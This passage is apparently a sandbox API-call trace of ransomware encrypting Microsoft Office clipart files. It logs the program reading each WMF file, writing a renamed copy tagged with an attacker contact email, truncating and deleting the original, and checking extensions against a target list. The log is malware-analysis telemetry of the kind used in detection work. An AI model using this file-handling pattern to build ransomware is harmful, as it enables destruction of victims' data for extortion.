lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0186.780] SetEndOfFile (hFile=0x1f4) returned 1 [0186.780] CloseHandle (hObject=0x1f4) returned 1 [0186.780] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.780] SetEndOfFile (hFile=0x1d0) returned 1 [0186.781] CloseHandle (hObject=0x1d0) returned 1 [0186.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0186.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.781] lstrlenW (lpString=".doc") returned 4 [0186.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.781] lstrlenW (lpString=".docx") returned 5 [0186.781] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0186.781] lstrlenW (lpString=".pdf") returned 4 [0186.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.781] lstrlenW (lpString=".xls") returned 4 [0186.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.781] lstrlenW (lpString=".xlsx") returned 5 [0186.781] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0186.781] lstrlenW (lpString=".ppt") returned 4 [0186.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString=".zip") returned 4 [0186.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.782] lstrlenW (lpString=".rar") returned 4 [0186.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".bz2") returned 4 [0186.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".7z") returned 3 [0186.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString=".dbf") returned 4 [0186.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString=".1cd") returned 4 [0186.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString=".jpg") returned 4 [0186.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.782] lstrlenW (lpString=".doc") returned 4 [0186.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".docx") returned 5 [0186.782] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0186.782] lstrlenW (lpString=".pdf") returned 4 [0186.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".xls") returned 4 [0186.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.782] lstrlenW (lpString=".xlsx") returned 5 [0186.782] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0186.782] lstrlenW (lpString=".ppt") returned 4 [0186.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.783] lstrlenW (lpString=".zip") returned 4 [0186.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.783] lstrlenW (lpString=".rar") returned 4 [0186.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".bz2") returned 4 [0186.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".7z") returned 3 [0186.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.783] lstrlenW (lpString=".dbf") returned 4 [0186.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.783] lstrlenW (lpString=".1cd") returned 4 [0186.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0186.783] lstrlenW (lpString=".jpg") returned 4 [0186.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.783] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.783] lstrlenW (lpString="CRANE.WMF") returned 9 [0186.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.784] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5270) returned 1 [0186.784] CloseHandle (hObject=0x1d0) returned 1 [0186.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0186.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.784] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.784] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.784] GetLastError () returned 0x0 [0186.784] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1496, lpOverlapped=0x0) returned 1 [0186.786] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0186.787] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.787] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0186.787] SetEndOfFile (hFile=0x1f4) returned 1 [0186.787] CloseHandle (hObject=0x1f4) returned 1 [0186.787] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.787] SetEndOfFile (hFile=0x1d0) returned 1 [0186.788] CloseHandle (hObject=0x1d0) returned 1 [0186.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.789] lstrlenW (lpString=".doc") returned 4 [0186.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.789] lstrlenW (lpString=".docx") returned 5 [0186.789] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0186.789] lstrlenW (lpString=".pdf") returned 4 [0186.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.789] lstrlenW (lpString=".xls") returned 4 [0186.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.789] lstrlenW (lpString=".xlsx") returned 5 [0186.789] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0186.789] lstrlenW (lpString=".ppt") returned 4 [0186.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.789] lstrlenW (lpString=".zip") returned 4 [0186.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.789] lstrlenW (lpString=".rar") returned 4 [0186.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.789] lstrlenW (lpString=".bz2") returned 4 [0186.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.789] lstrlenW (lpString=".7z") returned 3 [0186.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString=".dbf") returned 4 [0186.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString=".1cd") returned 4 [0186.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString=".jpg") returned 4 [0186.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString=".doc") returned 4 [0186.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString=".docx") returned 5 [0186.790] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0186.790] lstrlenW (lpString=".pdf") returned 4 [0186.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString=".xls") returned 4 [0186.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.790] lstrlenW (lpString=".xlsx") returned 5 [0186.790] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0186.790] lstrlenW (lpString=".ppt") returned 4 [0186.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0186.790] lstrlenW (lpString=".zip") returned 4 [0186.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.790] lstrlenW (lpString=".rar") returned 4 [0186.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.790] lstrlenW (lpString=".bz2") returned 4 [0186.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.095] lstrlenW (lpString=".7z") returned 3 [0187.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0187.095] lstrlenW (lpString=".dbf") returned 4 [0187.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0187.096] lstrlenW (lpString=".1cd") returned 4 [0187.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0187.096] lstrlenW (lpString=".jpg") returned 4 [0187.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.096] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.096] lstrlenW (lpString="DD00261_.WMF") returned 12 [0187.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.096] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=37974) returned 1 [0187.096] CloseHandle (hObject=0x1cc) returned 1 [0187.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0187.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.097] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.097] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.222] GetLastError () returned 0x0 [0187.222] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x9456, lpOverlapped=0x0) returned 1 [0187.305] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x9460, lpOverlapped=0x0) returned 1 [0187.307] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.307] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.307] SetEndOfFile (hFile=0x1f0) returned 1 [0187.307] CloseHandle (hObject=0x1f0) returned 1 [0187.307] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.307] SetEndOfFile (hFile=0x1cc) returned 1 [0187.308] CloseHandle (hObject=0x1cc) returned 1 [0187.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.309] lstrlenW (lpString=".doc") returned 4 [0187.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString=".docx") returned 5 [0187.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.309] lstrlenW (lpString=".pdf") returned 4 [0187.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString=".xls") returned 4 [0187.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.309] lstrlenW (lpString=".xlsx") returned 5 [0187.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.309] lstrlenW (lpString=".ppt") returned 4 [0187.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.309] lstrlenW (lpString=".zip") returned 4 [0187.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.309] lstrlenW (lpString=".rar") returned 4 [0187.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString=".bz2") returned 4 [0187.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString=".7z") returned 3 [0187.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.309] lstrlenW (lpString=".dbf") returned 4 [0187.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.309] lstrlenW (lpString=".1cd") returned 4 [0187.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString=".jpg") returned 4 [0187.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString=".doc") returned 4 [0187.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString=".docx") returned 5 [0187.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.310] lstrlenW (lpString=".pdf") returned 4 [0187.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString=".xls") returned 4 [0187.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.310] lstrlenW (lpString=".xlsx") returned 5 [0187.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.310] lstrlenW (lpString=".ppt") returned 4 [0187.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString=".zip") returned 4 [0187.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.310] lstrlenW (lpString=".rar") returned 4 [0187.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString=".bz2") returned 4 [0187.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString=".7z") returned 3 [0187.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString=".dbf") returned 4 [0187.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.310] lstrlenW (lpString=".1cd") returned 4 [0187.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0187.311] lstrlenW (lpString=".jpg") returned 4 [0187.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.311] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.311] lstrlenW (lpString="DD00407_.WMF") returned 12 [0187.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.311] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7828) returned 1 [0187.311] CloseHandle (hObject=0x1cc) returned 1 [0187.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0187.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.312] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.312] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.312] GetLastError () returned 0x0 [0187.312] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1e94, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0187.429] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.429] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.429] SetEndOfFile (hFile=0x1f0) returned 1 [0187.429] CloseHandle (hObject=0x1f0) returned 1 [0187.429] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.429] SetEndOfFile (hFile=0x1cc) returned 1 [0187.430] CloseHandle (hObject=0x1cc) returned 1 [0187.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 